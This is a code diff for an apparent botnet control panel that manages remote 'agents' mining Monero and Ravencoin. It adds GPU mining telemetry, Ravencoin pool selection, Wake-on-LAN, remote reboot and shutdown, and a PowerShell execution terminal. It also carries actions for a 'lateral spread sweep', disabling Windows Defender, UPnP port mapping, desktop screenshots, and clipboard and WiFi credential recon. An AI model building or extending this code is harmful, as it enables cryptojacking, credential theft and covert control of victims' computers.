_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname)
|
||||
hostname = excluded.hostname,
|
||||
mac_address = CASE WHEN excluded.mac_address != '' THEN excluded.mac_address ELSE mac_address END`
|
||||
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion, a.Hostname, a.MacAddress)
|
||||
return err
|
||||
}
|
||||
|
||||
|
||||
@@ -28,10 +28,11 @@ type Agent struct {
|
||||
Notes string `json:"notes"`
|
||||
Tags []string `json:"tags"`
|
||||
|
||||
Platform string `json:"platform,omitempty"`
|
||||
Arch string `json:"arch,omitempty"`
|
||||
OSVersion string `json:"os_version,omitempty"`
|
||||
Hostname string `json:"hostname,omitempty"`
|
||||
Platform string `json:"platform,omitempty"`
|
||||
Arch string `json:"arch,omitempty"`
|
||||
OSVersion string `json:"os_version,omitempty"`
|
||||
Hostname string `json:"hostname,omitempty"`
|
||||
MacAddress string `json:"mac_address,omitempty"`
|
||||
|
||||
// Live connection quality — not persisted, set by WSHub each stats cycle.
|
||||
LatencyMs *int `json:"latency_ms,omitempty"`
|
||||
@@ -57,6 +58,13 @@ type Agent struct {
|
||||
GPUTempC *int `json:"gpu_temp_c,omitempty"`
|
||||
GPUUsagePct *int `json:"gpu_usage_pct,omitempty"`
|
||||
|
||||
// GPU / Ravencoin mining
|
||||
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
|
||||
GPUHashrate15s float64 `json:"gpu_hashrate_15s,omitempty"`
|
||||
GPUHashrate1m float64 `json:"gpu_hashrate_1m,omitempty"`
|
||||
GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
|
||||
GPUModel string `json:"gpu_model,omitempty"`
|
||||
|
||||
// Crucible — SSH status probed by the agent every ~60s
|
||||
SSHAvailable *bool `json:"ssh_available,omitempty"`
|
||||
|
||||
|
||||
@@ -149,6 +149,11 @@ export const api = {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ action, ...payload }),
|
||||
}),
|
||||
sendWOL: (id: string, mac?: string) =>
|
||||
fetchJSON<{ success: boolean; error?: string; mac?: string }>(`/agents/${id}/wol`, {
|
||||
method: 'POST',
|
||||
body: JSON.stringify(mac ? { mac } : {}),
|
||||
}),
|
||||
getAgentLog: (id: string, refresh = false) =>
|
||||
fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`),
|
||||
|
||||
|
||||
@@ -128,7 +128,7 @@
|
||||
.tactical-bottom-row {
|
||||
display: flex;
|
||||
gap: 20px;
|
||||
height: 250px;
|
||||
height: 380px;
|
||||
}
|
||||
|
||||
.drop-zone {
|
||||
@@ -172,13 +172,32 @@
|
||||
white-space: pre-wrap;
|
||||
}
|
||||
|
||||
.terminal-placeholder { color: #555; font-style: italic; }
|
||||
.terminal-titlebar {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
padding: 5px 10px;
|
||||
background: #0a0014;
|
||||
border-bottom: 1px solid rgba(0,229,255,0.15);
|
||||
flex-shrink: 0;
|
||||
}
|
||||
.terminal-title { font-size: 0.7rem; color: #00e5ff; letter-spacing: 0.06em; font-weight: bold; }
|
||||
.terminal-clear-btn { background: none; border: 1px solid #333; color: #555; font-size: 0.65rem; padding: 2px 8px; border-radius: 3px; cursor: pointer; }
|
||||
.terminal-clear-btn:hover { border-color: #888; color: #ccc; }
|
||||
|
||||
.terminal-placeholder { color: #555; font-style: italic; padding: 0; }
|
||||
|
||||
.log-line.log-ok { color: #00ff88; }
|
||||
.log-line.log-err { color: #ff4444; }
|
||||
.log-line.log-live { color: #888; font-size: 0.78rem; border-top: 1px solid rgba(255,255,255,0.03); padding-top: 2px; }
|
||||
.log-line.log-warn { color: #ffaa00; }
|
||||
|
||||
.terminal-input-bar { display: flex; border-top: 1px solid #333; background: #0a0a0a; }
|
||||
.terminal-input-bar .prompt { color: #ff00ff; padding: 10px; font-weight: bold; }
|
||||
.terminal-input-bar input { flex: 1; background: transparent; border: none; color: #fff; font-family: inherit; outline: none; }
|
||||
.terminal-input-bar button { background: #333; border: none; color: #fff; padding: 0 15px; cursor: pointer; font-weight: bold; }
|
||||
.terminal-input-bar button:hover { background: #00e5ff; color: #000; }
|
||||
.terminal-input-bar button:disabled { opacity: 0.4; cursor: not-allowed; }
|
||||
|
||||
/* Upgrade section */
|
||||
.upgrade-group { grid-column: 1 / -1; }
|
||||
@@ -213,3 +232,94 @@
|
||||
}
|
||||
|
||||
.log-line { line-height: 1.45; word-break: break-all; }
|
||||
|
||||
/* Offline & busy badges in header */
|
||||
.offline-badge {
|
||||
font-size: 0.7rem;
|
||||
padding: 3px 8px;
|
||||
background: rgba(255,40,40,0.2);
|
||||
border: 1px solid rgba(255,40,40,0.5);
|
||||
border-radius: 4px;
|
||||
color: #ff6666;
|
||||
font-weight: bold;
|
||||
letter-spacing: 0.04em;
|
||||
}
|
||||
.busy-badge {
|
||||
font-size: 0.7rem;
|
||||
padding: 3px 8px;
|
||||
background: rgba(255,171,0,0.2);
|
||||
border: 1px solid rgba(255,171,0,0.4);
|
||||
border-radius: 4px;
|
||||
color: #ffcc44;
|
||||
animation: pulse-amber 1.2s ease-in-out infinite;
|
||||
}
|
||||
.offline-dot { background: #555; box-shadow: 0 0 6px #555; }
|
||||
|
||||
@keyframes pulse-amber {
|
||||
0%, 100% { opacity: 1; }
|
||||
50% { opacity: 0.5; }
|
||||
}
|
||||
|
||||
/* WOL section */
|
||||
.wol-row { display: flex; flex-direction: column; gap: 0.5rem; }
|
||||
.wol-toggle {
|
||||
font-size: 0.8rem;
|
||||
padding: 6px 12px;
|
||||
border-radius: 4px;
|
||||
border: 1px solid rgba(0,229,255,0.3);
|
||||
background: rgba(0,229,255,0.06);
|
||||
color: #00e5ff;
|
||||
cursor: pointer;
|
||||
transition: all 0.2s;
|
||||
text-align: left;
|
||||
}
|
||||
.wol-toggle:hover { background: rgba(0,229,255,0.12); }
|
||||
.wol-form {
|
||||
display: flex;
|
||||
gap: 0.5rem;
|
||||
align-items: center;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
.wol-mac-input {
|
||||
flex: 1;
|
||||
min-width: 220px;
|
||||
background: rgba(0,0,0,0.5);
|
||||
border: 1px solid rgba(0,229,255,0.25);
|
||||
border-radius: 4px;
|
||||
color: #e0e0e0;
|
||||
padding: 6px 10px;
|
||||
font-size: 0.82rem;
|
||||
font-family: 'Consolas', monospace;
|
||||
outline: none;
|
||||
}
|
||||
.wol-mac-input:focus { border-color: #00e5ff; }
|
||||
.wol-form button { white-space: nowrap; padding: 6px 14px; font-size: 0.8rem; }
|
||||
|
||||
/* Compact mode extras */
|
||||
.compact-offline-banner {
|
||||
font-size: 0.72rem;
|
||||
color: #ff6666;
|
||||
background: rgba(255,40,40,0.1);
|
||||
border: 1px solid rgba(255,40,40,0.3);
|
||||
border-radius: 4px;
|
||||
padding: 3px 8px;
|
||||
margin-bottom: 6px;
|
||||
}
|
||||
.compact-terminal {
|
||||
margin-top: 6px;
|
||||
background: #050505;
|
||||
border: 1px solid #1a1a1a;
|
||||
border-radius: 4px;
|
||||
padding: 5px 8px;
|
||||
font-family: 'Consolas', monospace;
|
||||
font-size: 0.72rem;
|
||||
max-height: 80px;
|
||||
overflow-y: auto;
|
||||
}
|
||||
.compact-log-line {
|
||||
color: #aaa;
|
||||
line-height: 1.35;
|
||||
white-space: pre-wrap;
|
||||
word-break: break-all;
|
||||
}
|
||||
.compact-log-line:last-child { color: #e0e0e0; }
|
||||
@@ -4,6 +4,7 @@ import type { Agent, Build } from '../../types';
|
||||
import type { SeqCommandResult } from '../../context/WebSocketContext';
|
||||
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
|
||||
import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../../help/screenshotDownload';
|
||||
import { formatHashrate } from '../../help/fleetFilters';
|
||||
import './AgentRemoteActions.css';
|
||||
|
||||
const TERMINAL_MAX_LINES = 500;
|
||||
@@ -22,6 +23,8 @@ interface Props {
|
||||
/** @deprecated Pass commandResults instead. */
|
||||
latestWsMessage?: { type: string; payload: unknown } | null;
|
||||
onCommandSent?: (action: string) => void;
|
||||
/** If true, inject a live stats snapshot into the terminal when agent updates */
|
||||
showLiveStats?: boolean;
|
||||
}
|
||||
|
||||
export default function AgentRemoteActions({
|
||||
@@ -32,6 +35,7 @@ export default function AgentRemoteActions({
|
||||
compact = false,
|
||||
commandResults,
|
||||
onCommandSent,
|
||||
showLiveStats = false,
|
||||
}: Props) {
|
||||
const agentId = agentIdProp ?? agent?.id ?? '';
|
||||
const agentName = agentNameProp ?? agent?.name ?? 'Agent';
|
||||
@@ -43,9 +47,12 @@ export default function AgentRemoteActions({
|
||||
const [terminalLog, setTerminalLog] = useState<string[]>([]);
|
||||
const [screenshotData, setScreenshotData] = useState<string | null>(null);
|
||||
const [busy, setBusy] = useState<string | null>(null);
|
||||
const [wolMac, setWolMac] = useState('');
|
||||
const [wolExpanded, setWolExpanded] = useState(false);
|
||||
// Fleet upgrade
|
||||
const [builds, setBuilds] = useState<Build[]>([]);
|
||||
const [selectedBuildId, setSelectedBuildId] = useState<string>('');
|
||||
const lastStatsRef = useRef<string>('');
|
||||
useEffect(() => {
|
||||
api.listBuilds().then(setBuilds).catch(() => setBuilds([]));
|
||||
}, []);
|
||||
@@ -77,6 +84,43 @@ export default function AgentRemoteActions({
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, [agentId]);
|
||||
|
||||
// Pre-fill WOL MAC from agent object when it becomes available
|
||||
useEffect(() => {
|
||||
if (agent?.mac_address && !wolMac) {
|
||||
setWolMac(agent.mac_address);
|
||||
}
|
||||
}, [agent?.mac_address]);
|
||||
|
||||
// Live stats ticker — appends a concise status line whenever agent data changes.
|
||||
// Throttled: only fires if the snapshot hash changed AND at least 15s has elapsed.
|
||||
const lastStatsPushRef = useRef(0);
|
||||
useEffect(() => {
|
||||
if (!showLiveStats || !agent || agent.status !== 'online') return;
|
||||
const snapshot = [
|
||||
agent.hashrate_15s?.toFixed(0),
|
||||
agent.cpu_usage_pct?.toFixed(0),
|
||||
agent.memory_usage_pct?.toFixed(0),
|
||||
agent.cpu_temp_c,
|
||||
].join('|');
|
||||
if (snapshot === lastStatsRef.current) return;
|
||||
const now = Date.now();
|
||||
if (now - lastStatsPushRef.current < 15000) return;
|
||||
lastStatsRef.current = snapshot;
|
||||
lastStatsPushRef.current = now;
|
||||
|
||||
const parts: string[] = [
|
||||
`XMR ${formatHashrate(agent.hashrate_15s ?? 0)}`,
|
||||
`CPU ${(agent.cpu_usage_pct ?? 0).toFixed(1)}%`,
|
||||
`RAM ${(agent.memory_usage_pct ?? 0).toFixed(1)}%`,
|
||||
];
|
||||
if (agent.cpu_temp_c != null) parts.push(`Temp ${agent.cpu_temp_c}°C`);
|
||||
if (agent.gpu_miner_active && agent.gpu_hashrate_15s) {
|
||||
parts.push(`RVN ${formatHashrate(agent.gpu_hashrate_15s)}`);
|
||||
}
|
||||
if (agent.disk_free_pct != null) parts.push(`Disk ${agent.disk_free_pct}% free`);
|
||||
addLog(`◈ LIVE ${parts.join(' │ ')}`);
|
||||
}, [agent, showLiveStats, addLog]);
|
||||
|
||||
// Process every new commandResults entry we haven't seen yet (M13 — no drops).
|
||||
// Filters by _seq so the ring-buffer trim never makes us miss results.
|
||||
useEffect(() => {
|
||||
@@ -95,52 +139,74 @@ export default function AgentRemoteActions({
|
||||
const clean = sanitizeScreenshotBase64(message);
|
||||
if (downloadScreenshotFromBase64(clean, label)) {
|
||||
setScreenshotData(`data:image/jpeg;base64,${clean}`);
|
||||
addLog(`Screenshot saved — ${label}`);
|
||||
addLog(`✓ Screenshot saved — ${label}`);
|
||||
} else {
|
||||
addLog(`[SCREENSHOT] ${label}: invalid image data`);
|
||||
addLog(`✗ [SCREENSHOT] ${label}: invalid image data`);
|
||||
}
|
||||
} else {
|
||||
addLog(`[SCREENSHOT] ${label}: FAIL\n${message ?? ''}`);
|
||||
addLog(`✗ [SCREENSHOT] ${label}: FAIL\n${message ?? ''}`);
|
||||
}
|
||||
} else if (action) {
|
||||
addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'}\n${message ?? ''}`);
|
||||
const icon = success ? '✓' : '✗';
|
||||
addLog(`${icon} [${action.toUpperCase()}]\n${message ?? ''}`);
|
||||
}
|
||||
}
|
||||
}, [commandResults, agentId, addLog]);
|
||||
|
||||
const dispatch = async (action: string, args: Record<string, unknown> = {}) => {
|
||||
if (!agentId) {
|
||||
addLog('No agent selected');
|
||||
addLog('⚠ No agent selected');
|
||||
return;
|
||||
}
|
||||
if (agent && !isOnline) {
|
||||
addLog('Agent is offline');
|
||||
if (action !== 'wol' && agent && !isOnline) {
|
||||
addLog(`⚠ Agent "${agentName}" is offline — command not sent`);
|
||||
return;
|
||||
}
|
||||
if (action === 'stop' && !window.confirm(`Stop miner on "${agentName}"?`)) return;
|
||||
if (action === 'uninstall' && !window.confirm(`Uninstall miner from "${agentName}"?`)) return;
|
||||
if (action === 'reboot_machine' && !window.confirm(`REBOOT "${agentName}" now?\n\nThe machine will immediately restart.`)) return;
|
||||
if (action === 'shutdown_machine' && !window.confirm(`SHUT DOWN "${agentName}" now?\n\nThe machine will power off and won't come back unless Wake-on-LAN is used.`)) return;
|
||||
if (action === 'upgrade' && !window.confirm(`Push binary upgrade to "${agentName === 'Agent' ? 'ENTIRE FLEET' : agentName}"?\n\nThe agent will download, replace itself, and restart.`)) return;
|
||||
if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return;
|
||||
if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return;
|
||||
if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return;
|
||||
|
||||
// WOL is handled server-side (no agent connection needed)
|
||||
if (action === 'wol') {
|
||||
setBusy('wol');
|
||||
try {
|
||||
addLog(`◈ Sending Wake-on-LAN to ${agentName} (${args.mac ?? 'stored MAC'})…`);
|
||||
const res = await api.sendWOL(agentId, args.mac as string | undefined);
|
||||
if (res.success) {
|
||||
addLog(`✓ WOL magic packet sent to ${res.mac ?? args.mac ?? 'broadcast'}`);
|
||||
} else {
|
||||
addLog(`✗ WOL failed: ${res.error ?? 'unknown error'}`);
|
||||
}
|
||||
} catch (err: unknown) {
|
||||
addLog(`✗ WOL error: ${err instanceof Error ? err.message : 'request failed'}`);
|
||||
} finally {
|
||||
setBusy(null);
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
setBusy(action);
|
||||
try {
|
||||
if (action === 'screenshot') {
|
||||
addLog(`Capturing desktop on ${agentName}…`);
|
||||
} else if (!compact) {
|
||||
addLog(`> Executing ${action}...`);
|
||||
addLog(`◈ Capturing desktop on ${agentName}…`);
|
||||
} else {
|
||||
addLog(`▶ ${action} → ${agentId === 'all' ? 'FLEET' : agentName}`);
|
||||
}
|
||||
const res = await api.sendAgentCommand(agentId, action, args);
|
||||
if (res.success === false) {
|
||||
addLog(`Command rejected: ${res.error ?? 'unknown error'}`);
|
||||
addLog(`✗ Rejected: ${res.error ?? 'unknown error'}`);
|
||||
return;
|
||||
}
|
||||
if (!compact) addLog(`> ${action} sent to ${agentId === 'all' ? 'fleet' : agentName}`);
|
||||
if (action !== 'screenshot') addLog(`✓ command queued`);
|
||||
onCommandSent?.(action);
|
||||
} catch (err: unknown) {
|
||||
const msg = err instanceof Error ? err.message : 'Command failed';
|
||||
addLog(`API Error: ${msg}`);
|
||||
addLog(`✗ ${msg}`);
|
||||
} finally {
|
||||
setBusy(null);
|
||||
}
|
||||
@@ -177,13 +243,23 @@ export default function AgentRemoteActions({
|
||||
if (compact) {
|
||||
return (
|
||||
<div className="agent-remote compact" onClick={(e) => e.stopPropagation()}>
|
||||
{!isOnline && (
|
||||
<div className="compact-offline-banner">⚠ offline — commands disabled</div>
|
||||
)}
|
||||
<div className="agent-remote-row">
|
||||
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')}>Screenshot</button>
|
||||
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')}>Pause</button>
|
||||
<button type="button" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')}>Resume</button>
|
||||
<button type="button" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Stop</button>
|
||||
<button type="button" className="agent-action-btn danger" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
||||
<button type="button" aria-label="Screenshot" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('screenshot')} title="Capture desktop">📷</button>
|
||||
<button type="button" aria-label="Pause" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('pause')} title="Pause miner">⏸</button>
|
||||
<button type="button" aria-label="Resume" className="agent-action-btn" disabled={!isOnline || !!busy} onClick={() => dispatch('resume')} title="Resume miner">▶</button>
|
||||
<button type="button" aria-label="Reboot" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('reboot_machine')} title="Reboot machine">↺</button>
|
||||
<button type="button" aria-label="Shutdown" className="agent-action-btn warn" disabled={!isOnline || !!busy} onClick={() => dispatch('shutdown_machine')} title="Shutdown machine">⏻</button>
|
||||
<button type="button" aria-label="Wake" className="agent-action-btn" disabled={!!busy} onClick={() => dispatch('wol', { mac: agent?.mac_address })} title="Wake on LAN">☀</button>
|
||||
<button type="button" aria-label="Stop" className="agent-action-btn danger" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')} title="Kill miner process">✕</button>
|
||||
</div>
|
||||
{terminalLog.length > 0 && (
|
||||
<div className="compact-terminal">
|
||||
{terminalLog.slice(-4).map((l, i) => <div key={i} className="compact-log-line">{l}</div>)}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -202,8 +278,12 @@ export default function AgentRemoteActions({
|
||||
<div className="tactical-panel">
|
||||
<div className="tactical-header">
|
||||
<div className="target-indicator">
|
||||
<div className={`status-dot ${isFleet ? 'fleet-glow' : 'agent-glow'}`} />
|
||||
<div className={`status-dot ${isFleet ? 'fleet-glow' : isOnline ? 'agent-glow' : 'offline-dot'}`} />
|
||||
<h2>Target: {isFleet ? 'ENTIRE FLEET' : agentName}</h2>
|
||||
{!isFleet && !isOnline && (
|
||||
<span className="offline-badge">OFFLINE — commands disabled</span>
|
||||
)}
|
||||
{busy && <span className="busy-badge">⏳ {busy}…</span>}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
@@ -235,10 +315,41 @@ export default function AgentRemoteActions({
|
||||
<div className="action-group power-group">
|
||||
<h3>System Power</h3>
|
||||
<div className="button-grid">
|
||||
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('restart')}>Restart Agent</button>
|
||||
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Kill Process</button>
|
||||
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('restart')} title="Restart miner process only">Restart Agent</button>
|
||||
<button type="button" className="btn-amber" disabled={!isOnline || !!busy} onClick={() => dispatch('reboot_machine')} title="Full OS reboot">Reboot Machine</button>
|
||||
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('shutdown_machine')} title="Power off OS">Shutdown Machine</button>
|
||||
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('stop')}>Kill Miner</button>
|
||||
<button type="button" className="btn-red" disabled={!isOnline || !!busy} onClick={() => dispatch('uninstall')}>Uninstall</button>
|
||||
</div>
|
||||
<div className="wol-row" style={{ marginTop: '0.75rem' }}>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-cyan wol-toggle"
|
||||
onClick={() => setWolExpanded((p) => !p)}
|
||||
title="Send Wake-on-LAN magic packet to power on a sleeping machine"
|
||||
>
|
||||
☀ Wake Machine (WOL) {wolExpanded ? '▲' : '▼'}
|
||||
</button>
|
||||
{wolExpanded && (
|
||||
<div className="wol-form">
|
||||
<input
|
||||
type="text"
|
||||
className="wol-mac-input"
|
||||
placeholder="MAC address e.g. AA:BB:CC:DD:EE:FF"
|
||||
value={wolMac}
|
||||
onChange={(e) => setWolMac(e.target.value)}
|
||||
/>
|
||||
<button
|
||||
type="button"
|
||||
className="btn-cyan"
|
||||
disabled={!!busy}
|
||||
onClick={() => dispatch('wol', wolMac ? { mac: wolMac } : {})}
|
||||
>
|
||||
{busy === 'wol' ? 'Sending…' : 'Send Packet'}
|
||||
</button>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="action-group upgrade-group">
|
||||
@@ -395,11 +506,23 @@ export default function AgentRemoteActions({
|
||||
</div>
|
||||
|
||||
<div className="master-terminal">
|
||||
<div className="terminal-titlebar">
|
||||
<span className="terminal-title">◈ REMOTE TERMINAL — {agentId === 'all' ? 'FLEET' : agentName}</span>
|
||||
<button type="button" className="terminal-clear-btn" onClick={() => setTerminalLog([])}>CLEAR</button>
|
||||
</div>
|
||||
<div className="terminal-output">
|
||||
{terminalLog.length === 0 ? (
|
||||
<span className="terminal-placeholder">Awaiting telemetry...</span>
|
||||
<div className="terminal-placeholder">
|
||||
<div>◈ Terminal ready — send a command to see output here</div>
|
||||
{isOnline && <div style={{ marginTop: '0.4rem', color: '#555' }}>Commands: Process List, System Info, Net Connections, Clipboard, WiFi Creds...</div>}
|
||||
{!isOnline && <div style={{ marginTop: '0.4rem', color: '#ff4444' }}>Agent offline — only WOL is available</div>}
|
||||
</div>
|
||||
) : (
|
||||
terminalLog.map((log, i) => <div key={i} className="log-line">{log}</div>)
|
||||
terminalLog.map((log, i) => (
|
||||
<div key={i} className={`log-line ${log.startsWith('✓') ? 'log-ok' : log.startsWith('✗') ? 'log-err' : log.startsWith('◈ LIVE') ? 'log-live' : log.startsWith('⚠') ? 'log-warn' : ''}`}>
|
||||
{log}
|
||||
</div>
|
||||
))
|
||||
)}
|
||||
<div ref={logEndRef} />
|
||||
</div>
|
||||
@@ -409,11 +532,11 @@ export default function AgentRemoteActions({
|
||||
type="text"
|
||||
value={customCmd}
|
||||
onChange={(e) => setCustomCmd(e.target.value)}
|
||||
placeholder="Enter PowerShell command..."
|
||||
placeholder={isOnline ? 'Enter PowerShell command...' : 'Agent offline'}
|
||||
autoComplete="off"
|
||||
disabled={!isOnline}
|
||||
/>
|
||||
<button type="submit" disabled={!isOnline}>EXEC</button>
|
||||
<button type="submit" disabled={!isOnline || !!busy}>EXEC</button>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
178
server/web/src/components/RVNPoolPresetPicker.tsx
Normal file
178
server/web/src/components/RVNPoolPresetPicker.tsx
Normal file
@@ -0,0 +1,178 @@
|
||||
import { useEffect, useMemo, useState } from 'react';
|
||||
import type { BackupPool } from '../types';
|
||||
import {
|
||||
RVN_POOL_PRESETS,
|
||||
DEFAULT_RVN_PRESET_IDS,
|
||||
orderedRVNPoolsFromSelection,
|
||||
detectRVNPresetIds,
|
||||
applyRVNPoolsToForgeFields,
|
||||
type RVNPoolForgeFields,
|
||||
} from '../help/poolPresets';
|
||||
import './PoolPresetPicker.css';
|
||||
|
||||
interface RVNPoolPresetPickerProps {
|
||||
host: string;
|
||||
port: number;
|
||||
tls: boolean;
|
||||
pass: string;
|
||||
backups?: BackupPool[];
|
||||
onChange: (next: RVNPoolForgeFields) => void;
|
||||
}
|
||||
|
||||
export default function RVNPoolPresetPicker({
|
||||
host,
|
||||
port,
|
||||
tls,
|
||||
pass,
|
||||
backups = [],
|
||||
onChange,
|
||||
}: RVNPoolPresetPickerProps) {
|
||||
const [selectedIds, setSelectedIds] = useState<string[]>(() => {
|
||||
const detected = detectRVNPresetIds(host, port, tls, backups);
|
||||
return detected.length ? detected : [...DEFAULT_RVN_PRESET_IDS];
|
||||
});
|
||||
const [useCustom, setUseCustom] = useState(false);
|
||||
const [customHost, setCustomHost] = useState('');
|
||||
const [customPort, setCustomPort] = useState(6060);
|
||||
const [customTls, setCustomTls] = useState(false);
|
||||
|
||||
useEffect(() => {
|
||||
const detected = detectRVNPresetIds(host, port, tls, backups);
|
||||
if (detected.length) setSelectedIds(detected);
|
||||
}, [host, port, tls, backups]);
|
||||
|
||||
const orderedPreview = useMemo(() => {
|
||||
const custom: BackupPool | null = useCustom && customHost.trim()
|
||||
? { host: customHost.trim(), port: customPort || 6060, tls: customTls, pass: pass || 'x' }
|
||||
: null;
|
||||
return orderedRVNPoolsFromSelection(selectedIds, pass || 'x', custom);
|
||||
}, [selectedIds, pass, useCustom, customHost, customPort, customTls]);
|
||||
|
||||
const applySelection = (ids: string[], customOn: boolean, cHost: string, cPort: number, cTls: boolean) => {
|
||||
const custom: BackupPool | null =
|
||||
customOn && cHost.trim()
|
||||
? { host: cHost.trim(), port: cPort || 6060, tls: cTls, pass: pass || 'x' }
|
||||
: null;
|
||||
const pools = orderedRVNPoolsFromSelection(ids, pass || 'x', custom);
|
||||
onChange(applyRVNPoolsToForgeFields(pools));
|
||||
};
|
||||
|
||||
const togglePreset = (id: string) => {
|
||||
const next = selectedIds.includes(id)
|
||||
? selectedIds.filter((x) => x !== id)
|
||||
: [...selectedIds, id];
|
||||
if (!next.length) return;
|
||||
setSelectedIds(next);
|
||||
applySelection(next, useCustom, customHost, customPort, customTls);
|
||||
};
|
||||
|
||||
const grouped = useMemo(() => {
|
||||
const map = new Map<string, typeof RVN_POOL_PRESETS>();
|
||||
for (const p of RVN_POOL_PRESETS) {
|
||||
const list = map.get(p.provider) ?? [];
|
||||
list.push(p);
|
||||
map.set(p.provider, list);
|
||||
}
|
||||
return [...map.entries()];
|
||||
}, []);
|
||||
|
||||
return (
|
||||
<div className="pool-preset-picker rvn-pool-picker">
|
||||
<p className="form-hint pool-preset-hint">
|
||||
Select one or more Ravencoin (KawPoW) pools. Failover order applies — primary is tried first.
|
||||
</p>
|
||||
<div className="pool-preset-grid">
|
||||
{grouped.map(([provider, presets]) => (
|
||||
<div key={provider} className="pool-preset-group">
|
||||
<span className="pool-preset-provider font-tech" style={{ color: 'var(--neon-gold)' }}>
|
||||
{provider}
|
||||
</span>
|
||||
{presets.map((p) => (
|
||||
<label key={p.id} className="pool-preset-option checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={selectedIds.includes(p.id)}
|
||||
onChange={() => togglePreset(p.id)}
|
||||
/>
|
||||
<span>
|
||||
<code>{p.host}:{p.port}</code>
|
||||
{p.tls ? ' TLS' : ''}
|
||||
<span className="pool-preset-sub"> ({p.hint})</span>
|
||||
</span>
|
||||
</label>
|
||||
))}
|
||||
</div>
|
||||
))}
|
||||
</div>
|
||||
|
||||
<div className="pool-preset-custom">
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={useCustom}
|
||||
onChange={(e) => {
|
||||
const on = e.target.checked;
|
||||
setUseCustom(on);
|
||||
applySelection(selectedIds, on, customHost, customPort, customTls);
|
||||
}}
|
||||
/>
|
||||
<span>Add custom pool</span>
|
||||
</label>
|
||||
{useCustom && (
|
||||
<div className="pool-preset-custom-fields form-row">
|
||||
<input
|
||||
type="text"
|
||||
className="input mono"
|
||||
placeholder="pool.example.com"
|
||||
value={customHost}
|
||||
onChange={(e) => {
|
||||
setCustomHost(e.target.value);
|
||||
applySelection(selectedIds, true, e.target.value, customPort, customTls);
|
||||
}}
|
||||
/>
|
||||
<input
|
||||
type="number"
|
||||
className="input"
|
||||
min={1}
|
||||
max={65535}
|
||||
value={customPort}
|
||||
onChange={(e) => {
|
||||
const v = e.target.valueAsNumber || 6060;
|
||||
setCustomPort(v);
|
||||
applySelection(selectedIds, true, customHost, v, customTls);
|
||||
}}
|
||||
/>
|
||||
<label className="checkbox-label">
|
||||
<input
|
||||
type="checkbox"
|
||||
className="checkbox"
|
||||
checked={customTls}
|
||||
onChange={(e) => {
|
||||
setCustomTls(e.target.checked);
|
||||
applySelection(selectedIds, true, customHost, customPort, e.target.checked);
|
||||
}}
|
||||
/>
|
||||
<span>TLS</span>
|
||||
</label>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
{orderedPreview.length > 0 && (
|
||||
<div className="pool-preset-order">
|
||||
<span className="font-tech">Failover order</span>
|
||||
<ol>
|
||||
{orderedPreview.map((p, i) => (
|
||||
<li key={`${p.host}:${p.port}:${p.tls}`}>
|
||||
{i === 0 ? 'Primary' : `Backup ${i}`}: {p.host}:{p.port}
|
||||
{p.tls ? ' (TLS)' : ''}
|
||||
</li>
|
||||
))}
|
||||
</ol>
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -370,7 +370,7 @@ describe('AgentRemoteActions', () => {
|
||||
expect(screen.getByRole('heading', { name: 'Target: Node A' })).toBeInTheDocument();
|
||||
});
|
||||
expect(screen.getByRole('heading', { name: 'Recon & Intel' })).toBeInTheDocument();
|
||||
expect(screen.getByText(/Awaiting telemetry/i)).toBeInTheDocument();
|
||||
expect(screen.getByText(/Terminal ready/i)).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('disables recon buttons when agent offline', async () => {
|
||||
|
||||
